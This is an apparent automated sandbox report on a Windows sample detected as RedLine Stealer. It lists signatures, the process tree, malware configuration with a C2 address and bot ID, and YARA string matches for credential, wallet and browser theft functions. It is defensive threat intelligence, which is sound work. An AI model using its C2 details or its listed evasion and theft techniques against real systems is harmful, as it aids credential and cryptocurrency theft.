Edit tour

Windows Analysis Report
6RE1Z857ae.exe

Overview

General Information

Sample name:	6RE1Z857ae.exe renamed because original name is a hash value
Original sample name:	3a1085797ca3089008cb2b51d2fcdc84.exe
Analysis ID:	1534363
MD5:	3a1085797ca3089008cb2b51d2fcdc84
SHA1:	f5ea90ec6ad07f137c058ef2874dbd3a1b444f95
SHA256:	8fc221b7c8e3f52f22841c866cf0d842f2a1266e79b472273766ce1704474499
Tags:	exeRedLineStealeruser-abuse_ch
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected RedLine Stealer

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Downloads files with wrong headers with respect to MIME Content-Type

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses ipconfig to lookup or modify the Windows network settings

Uses known network protocols on non-standard ports

Writes to foreign memory regions

Yara detected Costura Assembly Loader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

6RE1Z857ae.exe (PID: 6984 cmdline: "C:\Users\user\Desktop\6RE1Z857ae.exe" MD5: 3A1085797CA3089008CB2B51D2FCDC84)

cmd.exe (PID: 6968 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 2704 cmdline: ipconfig /release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

build.exe (PID: 1020 cmdline: "C:\Users\user\AppData\Local\Temp\build.exe" MD5: 30F7AAC5D8D65200C618C6A0A94C4065)

conhost.exe (PID: 4824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

InstallUtil.exe (PID: 6776 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cmd.exe (PID: 2828 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 1784 cmdline: ipconfig /renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

Adobe_Install_Updater.exe (PID: 1576 cmdline: "C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe" MD5: 3A1085797CA3089008CB2B51D2FCDC84)

cmd.exe (PID: 6692 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 4796 cmdline: ipconfig /release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

InstallUtil.exe (PID: 1632 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cmd.exe (PID: 3448 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 5552 cmdline: ipconfig /release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

Plain_Checker.exe (PID: 3224 cmdline: "C:\Users\user\AppData\Local\Temp\Plain_Checker.exe" MD5: C3F3579FAF5ABFC023F4E282CFF43313)

cmd.exe (PID: 7312 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 7364 cmdline: ipconfig /release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

InstallUtil.exe (PID: 7508 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cmd.exe (PID: 7544 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 7600 cmdline: ipconfig /renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

InstallUtil.exe (PID: 3356 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cmd.exe (PID: 2884 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 2164 cmdline: ipconfig /renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

cmd.exe (PID: 7100 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 412 cmdline: ipconfig /renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

Adobe_Install_Updater.exe (PID: 2848 cmdline: "C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe" MD5: 3A1085797CA3089008CB2B51D2FCDC84)

cmd.exe (PID: 4320 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 4824 cmdline: ipconfig /release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

build.exe (PID: 4672 cmdline: "C:\Users\user\AppData\Local\Temp\build.exe" MD5: 30F7AAC5D8D65200C618C6A0A94C4065)

conhost.exe (PID: 5052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

InstallUtil.exe (PID: 4832 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cmd.exe (PID: 7400 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 7452 cmdline: ipconfig /release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

InstallUtil.exe (PID: 7652 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cmd.exe (PID: 7684 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 7744 cmdline: ipconfig /renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

cmd.exe (PID: 4320 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 7248 cmdline: ipconfig /renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

Yftssfzf.exe (PID: 7856 cmdline: "C:\Users\user\AppData\Roaming\Yftssfzf.exe" MD5: C3F3579FAF5ABFC023F4E282CFF43313)

cmd.exe (PID: 7996 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 8040 cmdline: ipconfig /release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

InstallUtil.exe (PID: 8148 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cmd.exe (PID: 8180 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 7192 cmdline: ipconfig /renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

Yftssfzf.exe (PID: 8060 cmdline: "C:\Users\user\AppData\Roaming\Yftssfzf.exe" MD5: C3F3579FAF5ABFC023F4E282CFF43313)

cmd.exe (PID: 768 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 6848 cmdline: ipconfig /release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

InstallUtil.exe (PID: 7284 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cmd.exe (PID: 7368 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 6676 cmdline: ipconfig /renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": ["87.120.127.223:42128"], "Bot Id": "7772121777"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\build.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\build.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\build.exe	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
C:\Users\user\AppData\Local\Temp\build.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165f6:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165d7:$v2_6: GetUpdates

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.2297222568.0000000002EB0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000C.00000002.2373598901.0000000002450000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000010.00000002.2512990804.0000000006930000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000001B.00000002.2540044072.0000000002FD0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000031.00000002.2687620249.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002D.00000002.2689709699.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2214792226.0000000006AA0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000022.00000002.2558260556.0000000002DEC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000005.00000000.2141464839.0000000000B32000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000000.2141464839.0000000000B32000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000005.00000000.2141464839.0000000000B32000.00000002.00000001.01000000.00000007.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
00000000.00000002.2197191438.0000000003010000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000014.00000002.2464667993.0000000002940000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2204855208.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2204855208.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.2204855208.0000000003FE9000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x13b1a:$a4: get_ScannedWallets 0x12978:$a5: get_ScanTelegram 0x1379e:$a6: get_ScanGeckoBrowsersPaths 0x115ba:$a7: <Processes>k__BackingField 0xf4cc:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x10eee:$a9: <ScanFTP>k__BackingField
0000001B.00000002.2623669408.0000000006D40000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000036.00000002.2775307801.00000000027A0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2204855208.0000000004163000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000010.00000002.2441230781.00000000030C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000003A.00000002.2857282148.00000000024E0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: 6RE1Z857ae.exe PID: 6984	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: 6RE1Z857ae.exe PID: 6984	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 6RE1Z857ae.exe PID: 6984	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 6RE1Z857ae.exe PID: 6984	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 6RE1Z857ae.exe PID: 6984	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x10fe9f:$a4: get_ScannedWallets 0x10ed46:$a5: get_ScanTelegram 0x10fb28:$a6: get_ScanGeckoBrowsersPaths 0x10d9d9:$a7: <Processes>k__BackingField 0x10af0c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x10d30d:$a9: <ScanFTP>k__BackingField
Process Memory Space: build.exe PID: 1020	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: build.exe PID: 1020	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: build.exe PID: 1020	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x22b5f8:$a4: get_ScannedWallets 0x22a49f:$a5: get_ScanTelegram 0x22b281:$a6: get_ScanGeckoBrowsersPaths 0x229132:$a7: <Processes>k__BackingField 0x226665:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x228a66:$a9: <ScanFTP>k__BackingField
Process Memory Space: Adobe_Install_Updater.exe PID: 1576	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Adobe_Install_Updater.exe PID: 1576	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: InstallUtil.exe PID: 1632	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: InstallUtil.exe PID: 1632	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Adobe_Install_Updater.exe PID: 2848	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Adobe_Install_Updater.exe PID: 2848	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Plain_Checker.exe PID: 3224	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Plain_Checker.exe PID: 3224	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: build.exe PID: 4672	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: build.exe PID: 4672	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 4832	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: InstallUtil.exe PID: 4832	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: InstallUtil.exe PID: 7508	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 7652	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Yftssfzf.exe PID: 7856	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Yftssfzf.exe PID: 7856	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Yftssfzf.exe PID: 8060	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Yftssfzf.exe PID: 8060	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 42 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
16.2.InstallUtil.exe.6930000.10.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
5.0.build.exe.b30000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.0.build.exe.b30000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
5.0.build.exe.b30000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
5.0.build.exe.b30000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165f6:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165d7:$v2_6: GetUpdates
0.2.6RE1Z857ae.exe.6aa0000.13.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
27.2.Plain_Checker.exe.6d40000.8.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.6RE1Z857ae.exe.3fe9550.10.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.6RE1Z857ae.exe.3fe9550.10.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.6RE1Z857ae.exe.3fe9550.10.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
0.2.6RE1Z857ae.exe.3fe9550.10.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165f6:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165d7:$v2_6: GetUpdates
0.2.6RE1Z857ae.exe.3fe9550.10.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.6RE1Z857ae.exe.3fe9550.10.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.6RE1Z857ae.exe.3fe9550.10.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
0.2.6RE1Z857ae.exe.3fe9550.10.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147f6:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147d7:$v2_6: GetUpdates
0.2.6RE1Z857ae.exe.41b8e30.6.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Click to see the 11 entries

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

